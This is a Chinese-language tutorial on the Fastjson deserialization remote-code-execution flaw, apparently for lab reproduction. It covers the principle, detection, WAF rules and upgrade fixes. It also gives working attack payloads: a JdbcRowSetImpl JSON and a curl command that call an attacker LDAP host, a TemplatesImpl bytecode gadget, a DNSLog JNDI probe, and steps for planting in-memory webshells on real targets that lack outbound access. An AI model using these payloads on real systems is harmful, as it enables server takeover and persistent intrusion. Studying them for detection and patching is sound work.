写在前面:合法学习边界
本文复现只在本机靶场进行。Fastjson 反序列化利用可直接控制目标,禁止对真实系统使用。
一、漏洞原理
Fastjson 的 @type 支持在 JSON 里指定要反序列化的类。当 autoType 开启(或绕过校验)时,攻击者可以指定危险类,触发 JNDI 注入或恶意方法链,最终造成命令执行。
核心链路:
1
2
3
4
| 1. JSON 里带 "@type": 恶意类
2. Fastjson 反序列化时加载该类
3. 类通过 JNDI/LDAP/RMI 拉取远程恶意对象
4. 恶意对象被加载执行 → RCE
|
影响版本:
1
2
| Fastjson ≤ 1.2.24(经典版本)
以及后续多个存在 autoType 绕过问题的版本
|
二、影响与危害
1
2
3
| 远程代码执行(RCE)
服务器被完全控制
内网横向移动
|
风险等级:严重。Fastjson 广泛用于 Java 接口,是实战高频目标。
三、利用 / 复现
环境准备
用 Docker 起 Fastjson 靶场,并在攻击机准备 JNDI 利用工具(如 JNDIExploit / marshalsec)。
第一步:验证是否使用 Fastjson
发送特殊键触发异常,看响应是否暴露 Fastjson 特征:
1
| {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
|
第二步:构造恶意 JSON
1
2
3
4
5
| {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://攻击机:1389/Exploit",
"autoCommit": true
}
|
攻击机用 JNDI 工具起 LDAP 服务,把 Exploit 指向一个恶意类。
第三步:触发并验证
1
2
3
| curl -X POST http://127.0.0.1:8080/ \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机:1389/Exploit","autoCommit":true}'
|
恶意类执行 id / 反弹 Shell,攻击机收到回连即验证成功。
不出网利用(重点)
很多实战环境目标无法访问攻击机(LDAP/RMI/HTTP 全被拦住),ldap://攻击机 这种 JNDI 出网打法会失败。这时要换思路:
思路一:TemplatesImpl 加载字节码(不出网首选)
利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,把恶意字节码塞进 JSON,由目标本地加载,不需要 JNDI 出网:
1
2
3
4
5
6
7
| {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["<Base64后的恶意class>"],
"_name": "a",
"_tfactory": {},
"_outputProperties": {}
}
|
恶意 class 写成继承 AbstractTranslet,在 transform 里执行命令/写内存马。
前提:
1
2
| 目标 JVM 里存在 TemplatesImpl(JDK 自带)
对应 Fastjson 版本允许该 gadget(部分版本需要 checkAutoType 绕过)
|
思路二:打内存马(不出网持久化)
即使不能反弹 Shell,也可以往 Java 应用里注入内存马(Filter/Controller 型),用冰蝎/哥斯拉直接连接:
1
2
| 字节码写 Filter 型内存马 → 部署到应用上下文
后续用 webshell 工具连接,不走外连
|
思路三:打已有链/本地组件
1
2
3
| HikariDataSource + JNDI 方式打 JDBC 连接串
BeanFactory / JdbcRowSetImpl 等本地链
利用应用自身依赖做二次利用
|
如何判断“出不出网”
1
2
3
| 用 DNSLog:发 ${jndi:ldap://xxx.dnslog.cn/a},看是否有 DNS 回显
无回显 → 默认按不出网处理,直接上 TemplatesImpl/内存马
有回显 → 正常 JNDI 出网打法
|
四、检测
1
2
3
4
| 日志中找 "@type" 与常见恶意类名
请求中出现 ldap://、rmi://、jndi:
异常的长 JSON 与反序列化请求
对 Fastjson 版本做指纹确认
|
五、防御
1
2
3
4
| 关闭或严格限制 autoType
对 JSON 解析做类白名单
WAF 拦截 @type 与 jndi:/ldap:/rmi:
隔离 Java 应用运行环境
|
六、修复
1
2
3
4
| 升级 Fastjson 到安全版本(1.2.83+,并关注后续修复)
或直接迁移到 Jackson 等更安全的 JSON 库
用 safeMode 关闭 autoType
升级后复测:@type 恶意 payload 不再被解析执行
|
七、小结
Fastjson 漏洞的本质是“JSON 里带类名 → 反序列化加载 → JNDI 触发 RCE”。这类组件漏洞的防御核心是:升级 + 关 autoType + 白名单 + 隔离运行。